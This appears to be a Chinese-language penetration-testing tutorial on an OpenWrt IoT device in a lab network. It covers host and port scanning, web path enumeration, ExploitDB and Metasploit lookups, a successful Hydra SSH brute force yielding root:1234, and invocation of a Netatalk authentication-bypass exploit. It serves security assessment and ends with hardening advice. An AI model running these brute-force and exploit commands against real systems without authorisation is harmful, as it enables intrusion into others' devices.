IOT渗透测试:从信息收集到msf,ExploitDB攻击渗透思路实录分享
字数 3016 2025-08-29 22:41:01
IoT渗透测试实战指南:从信息收集到漏洞利用
一、信息收集与目标发现
1. 内网存活主机探测
arp-scan扫描
sudo arp-scan -l
- 扫描本地网络接口的所有主机,返回IP和MAC地址
- 仅适用于同一局域网(同一网段)
- 示例输出显示3台活跃主机
arping探测
for i in {1..254}; do arping -c 2 192.168.52.$i; done
- 发送ARP请求探测主机
- 适用于局域网,跨网段无效
netdiscover工具
sudo netdiscover -r 192.168.52.0/24
- 扫描指定网段内所有主机
- 适用于有线和无线局域网
nmap主机发现
nmap -sn 192.168.52.0/24
-sn参数仅进行Ping扫描(主机发现)-Pn关闭Ping检测,直接尝试端口扫描
fping批量探测
fping -g 192.168.52.0/24 -a -q
-g指定IP范围或网段-a仅显示存活主机-q静默模式(仅显示结果)
2. 基础服务探测
masscan快速扫描
masscan -p1-65535 192.168.52.2 --rate=1000
- 比nmap更快的大范围端口扫描工具
-p1-65535扫描所有端口--rate=1000设定扫描速率(可调整)- 默认使用SYN扫描,需要root权限
nmap详细扫描
全端口扫描
nmap -p- 192.168.52.2
-p-表示扫描全部端口(1-65535)- 初步发现目标开放端口
详细扫描已知端口
nmap -p22,53,80,548 -A 192.168.52.2
-A启用OS检测、版本检测、脚本扫描和traceroute-sV进行服务版本探测
扫描方式比较
-sS(SYN扫描): 半开放扫描,隐蔽性好-sT(TCP连接扫描): 建立完整TCP连接,无root权限时使用
防火墙绕过
nmap --script=firewalk --traceroute 192.168.52.2
firewalk脚本识别防火墙规则traceroute追踪网络路径
二、Web服务安全评估
1. 指纹识别
whatweb工具
whatweb http://192.168.52.2
- 识别Web服务技术栈
- 示例输出显示目标运行OpenWrt的LuCI管理界面
- 关键信息包括"PoweredBy[LuCI]"、"PasswordField[luci_password]"
2. 字典生成
cewl爬取关键词
cewl -d 2 -m 5 -w openwrt_dict.txt http://192.168.52.2
-d设置爬取深度-m设置最小单词长度- 生成针对目标的专用字典
3. 路径枚举
gobuster扫描
gobuster dir -u http://192.168.52.2 -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -x txt,php,html,jsp
-w指定字典文件-x指定文件扩展名-r启用递归扫描
dirsearch扫描
dirsearch -u http://192.168.52.2 -e php,html,js
- 快速识别常见目录与文件路径
feroxbuster扫描
feroxbuster -u http://192.168.52.2 -w /usr/share/seclists/Discovery/Web-Content/common.txt
- 速度快,并发性强
dirb扫描
dirb http://192.168.52.2 /usr/share/seclists/Discovery/Web-Content/common.txt
- 使用常用字典探测隐藏路径
三、非Web服务安全评估
1. SSH服务(Dropbear sshd)
版本识别
nmap -p22 -sV 192.168.52.2
- 识别SSH服务版本(Dropbear sshd protocol 2.0)
- 分析加密算法和MAC算法安全性
ExploitDB漏洞检索
searchsploit dropbear
发现漏洞:
-
Dropbear SSH 0.34 - Remote Code Execution (RCE)
- 文件路径: exploits/linux/remote/387.c
- 影响版本: 0.34
- 漏洞编号: OSVDB-2429
-
DropBearSSHD 2015.71 - Command Injection
- 文件路径: exploits/linux/remote/40119.md
- 影响版本: 2015.71
- CVE: CVE-2016-3116
-
Dropbear/OpenSSH - 'MAX_UNAUTH_CLIENTS' DoS
- 文件路径: exploits/multiple/dos/1572.pl
- CVE: CVE-2006-1206
Metasploit模块
msfconsole
use auxiliary/scanner/ssh/ssh_version
set RHOSTS 192.168.52.2
run
暴力破解
使用Hydra
hydra -l root -P passwd.txt ssh://192.168.52.2
- 遇到算法不兼容时,修改SSH配置:
echo "HostkeyAlgorithms ssh-rsa" >> /etc/ssh/ssh_config
成功结果
- 用户名: root
- 密码: 1234
- 耗时: 约3分钟
2. DNS服务(dnsmasq)
ExploitDB漏洞检索
searchsploit dnsmasq
发现漏洞:
- CVE-2017-14491: 堆溢出漏洞(RCE)
- CVE-2017-14492: 堆溢出漏洞
- CVE-2017-14493: 堆溢出漏洞
- CVE-2017-14494: 信息泄露漏洞
- CVE-2017-14495: 拒绝服务漏洞
- CVE-2017-14496: 整数下溢漏洞
- CVE-2020-25681至CVE-2020-25687(DNSpooq): 缓冲区溢出和DNS缓存投毒
Metasploit模块
use auxiliary/gather/enum_dns
set RHOSTS 192.168.52.2
run
- 执行DNS查询(区域传输、反向查找、SRV记录爆破等)
3. AFP服务(Netatalk 3.1.11)
ExploitDB漏洞检索
searchsploit netatalk
发现漏洞:
-
Netatalk 3.1.12 - 认证绕过(PoC)
- Exploit ID: 46048
- CVE: CVE-2018-1160
-
Netatalk 3.1.12 - 认证绕过
- Exploit ID: 46034
- CVE: CVE-2018-1160
-
QNAP Netatalk < 3.1.12 - 认证绕过
- Exploit ID: 46675
- CVE: CVE-2018-1160
漏洞利用尝试
python 46034.py -lv 192.168.52.2
-lv: 列出所有AFP共享卷-lvc: 列出指定卷内容-c: 读取文件-w: 写入文件(限制144字节)-df: 删除文件
四、渗透测试流程总结
-
信息收集阶段
- 内网扫描: arp-scan, arping, netdiscover, nmap, fping
- 服务探测: masscan(快速), nmap(详细)
- Web评估: whatweb, cewl, gobuster, dirsearch, feroxbuster, dirb
-
漏洞分析阶段
- 检索ExploitDB和Metasploit模块
- 验证漏洞适用性(版本匹配、架构兼容)
- 尝试多种攻击路径(认证绕过、命令注入、RCE等)
-
攻击实施阶段
- 选择最有效的攻击方式(如暴力破解弱密码)
- 绕过防御机制(修改加密算法、使用特定协议)
- 获取系统权限(root:1234)
-
防御建议
- 及时更新服务版本
- 禁用不安全的加密算法
- 设置强密码策略
- 限制服务访问权限
五、关键工具清单
| 工具类别 | 工具名称 | 主要用途 |
|---|---|---|
| 主机发现 | arp-scan, arping, netdiscover, nmap, fping | 识别内网存活主机 |
| 端口扫描 | masscan, nmap | 探测开放端口和服务 |
| Web评估 | whatweb, cewl, gobuster, dirsearch, feroxbuster, dirb | Web指纹识别和路径枚举 |
| 漏洞利用 | ExploitDB, Metasploit | 检索和利用已知漏洞 |
| 暴力破解 | Hydra | 尝试弱密码攻击 |
六、常见漏洞速查表
| 服务 | 漏洞类型 | CVE编号 | 影响版本 | 利用难度 |
|---|---|---|---|---|
| Dropbear sshd | RCE | OSVDB-2429 | 0.34 | 高 |
| Dropbear sshd | 命令注入 | CVE-2016-3116 | 2015.71 | 中 |
| dnsmasq | 堆溢出 | CVE-2017-14491 | 多版本 | 高 |
| Netatalk | 认证绕过 | CVE-2018-1160 | <3.1.12 | 中 |
通过本指南,您将掌握从信息收集到漏洞利用的完整IoT渗透测试流程,具备对OpenWrt等嵌入式系统的安全评估能力。